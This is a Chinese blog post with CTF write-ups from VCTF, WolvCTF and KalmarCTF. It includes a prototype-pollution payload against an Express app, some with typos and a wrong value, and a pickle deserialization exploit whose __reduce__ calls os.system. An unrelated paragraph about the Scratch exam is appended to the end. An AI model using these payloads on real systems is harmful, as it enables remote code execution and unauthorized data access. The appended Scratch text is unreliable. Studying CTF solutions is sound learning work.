3月份后半月比赛总结

VCTF

web

hackjs

就直接给了源码审计

const express = require('express')
const fs = require('fs')
var bodyParser = require('body-parser');
const app = express()
app.use(bodyParser.urlencoded({
    extended: true
}));
app.use(bodyParser.json());

app.post('/plz', (req, res) => {

    venom = req.body.venom

    if (Object.keys(venom).length < 3 && venom.welcome == 159753) {
        try {
            if(venom.hasOwnProperty("text")){
                res.send(venom.text)
            }else{
                res.send("no text detected")
            }
        } catch {
            if (venom.text=="flag") {
                let flag=fs.readFileSync("/flag");
                res.send("Congratulations:"+flag);
            } else {
                res.end("Nothing here!")
            }
        }
    } else {
        res.end("happy game");
    }
})



app.get('/',
function(req, res, next) {
    res.send('<title>oldjs</title><a>Hack me plz</a><br><form action="/plz" method="POST">text:<input type="text" name="venom[text]" value="ezjs"><input type="submit" value="Hack"></form>  ');
});

app.listen(80, () => {
  console.log(`listening at port 80`)
}) 


发现要满足venom.text满足=flag,这里就是要满足传参要求
1.welcome键值要为15973
2.text键值要存在
3.不超过三个键值
4.触发异常
这里很明显就是有个Node.js利用漏洞,我也马上想到了要利用__proto__进行构造
第一次我的构造是

//明显这只符合第一个
venom[welcome]=15973&venom.text=flag
//升级一下
venom[__proto__][text]=flag&wenom[welcome]=159753

发现得需要异常,这里就得看到
venom.hasOwnProperty("text")
这里触发异常就得把hasOwnProperty变成一个键值就能了
所以

venom[__proto__][text]=flag&venom[welcome]=159753&venmo[hashOwnProperty]=NYGis

这里的构造其实并不难,但是这里有个键值数量小于三是挺迷惑的,应该是用__proto__构造的这个传参是不会算的。。。。
但不知道为什么我放自己环境就不行,版本原因吗,有师傅知道嘛。。。做的时候放自己环境做没出就没试,看了别人wp才知道这样好像可以
为什么自己的不行应该是修复了
具体可以看 https://github.com/n8tz/CVE-2022-24999
学习wp
在这里插入图片描述

misc

checkin

具体解法看官方wp
https://github.com/ChaMd5Team/Venom-WP/tree/main/2024VenomCTF/2024_vctf_misc_checkin/writeup

reverse

ezre

作为逆向站门口选手,就比赛的时候看了下大致逻辑,也看出来是一个加密+换表base64,赛后跟着大佬wp摸索了一番,逐步理解了一下,这题还算简单。脚本就直接放大佬的,还是比较易懂的
https://ycznkvrmzo.feishu.cn/docx/CFV4dJV2GoL6mLxxJvNcgkFzn5e(原脚本wp)

from base64 import b64decode

def decode(s):
    old_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
    new_table = '0123456789XYZabcdefghijklABCDEFGHIJKLMNOPQRSTUVWmnopqrstuvwxyz+/='
    t=''
    for i in s:
        t+=old_table[new_table.index(i)]
    return  b64decode(t)
def init(box, key):
    for i in range(128):
        box[i] = i
    j = 0
    for i in range(128):
        j = (j + box[i] + key[i % len(key)]) & 0x7f
        box[i], box[j] = box[j], box[i]

def crypt(box, input):
    output = []
    k = 0
    for i in range(len(input)):
        j = (i + 1) & 0x7f
        k = (box[j] + k) & 0x7f
        box[k], box[j] = box[j], box[k]
        output.append(box[(box[j] + box[k]) & 0x7f] ^ input[i])
    return bytes(output)

box = [0]*128
init(box,b'Thi5_1S_key?')
print(crypt(box, decode("3pn1Ek92hmAEg38EXMn99J9YBf8=")))

wolvctf

Web

The Gauntlet

看着说是web基础题,结果里面有10个关卡。。。

第一关header
第二关OPTIONS,
第三关GET方法
第四关POST方法
第五关脚本
第六关302跳转
第七关cookie
第八关jwt

Bean Cafe

看起来是上传MD5相同的两张照片,但是好像不行?
赛后看了wp就是上传MD5相同但图片不同的,比赛一直报400.。。
破案,这个换下上传图片位置就可以了。

KalmarCTF

web

File Store

开始目录穿越有点像
上传脚本
利用原理就是picke反序列化,但原因还是不知道为什么,覆盖原文件flask_session,但是为什么会执行picke不理解
还是看大佬的吧
https://ireland.re/posts/KalmarCTF_2024/

import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = ('cp /flag.txt /app/static/uploads/abcd.txt')
        return os.system, (cmd,)

def generate_exploit():
    payload = pickle.dumps(RCE(), 0)
    return b"\x00"*4 + payload


with open("254b2716336df2553ce5c04a934d56e4", "wb") as f:
    f.write(generate_exploit())

docker附件的部署环境

昨天想复现下web题目,发现还不会怎么使用docker,系统一下
本地下载docker环境,我电脑因为有vm虚拟机和电脑有冲突,就用linux进行下载,跟着别人搭好后,把含有docker的文件放到虚拟机里面,进入所在文件夹

cd  file_store 
docker-compose up -d

#假设你想要停止一个名为 my_container 的容器,你可以运行以下命令:
docker stop my_container

显示部署在5000端口在这里插入图片描述更新…

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
关于Scratch二级考试,2022年3月份的考试内容包括以下几个方面。 首先是Scratch基础知识。这部分内容主要考查学生对Scratch编程环境的了解,包括舞台、角色、积木等基本概念的掌握程度。考生需要熟悉Scratch的界面布局,以及如何在Scratch中创建和删除角色、改变背景等。 其次是Scratch积木的使用。这个部分主要考察考生对不同类型积木的掌握程度,以及如何将它们组合使用来实现特定功能。常见的积木包括运算积木、控制积木、事件积木等。考生需要能够正确选择合适的积木,并通过积木的组合创造出符合要求的程序。 第三部分是Scratch项目的设计与实现。在这个部分,考生需要根据给出的要求或场景,在Scratch中设计并实现一个小项目。这个项目可能涉及到角色的移动、声音的播放、背景的更换等功能。考生需要合理利用Scratch提供的积木和功能,完成项目的要求。 最后是Scratch程序的调试与修改。这个部分考察考生对程序的调试和修改能力。考生需要在给定的程序中找出错误并进行修复,或者根据需求进行修改来实现特定的功能要求。 总的来说,对于参加2022年3月份的Scratch二级考试,考生需要具备对Scratch编程环境的基本了解,掌握常用的Scratch积木的使用方法,能够根据要求设计和实现简单的Scratch项目,并具备对程序的调试和修改能力。为了顺利通过考试,考生需要在平时的学习中多进行Scratch编程的实践,提高自己的编程能力和解决问题的能力。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值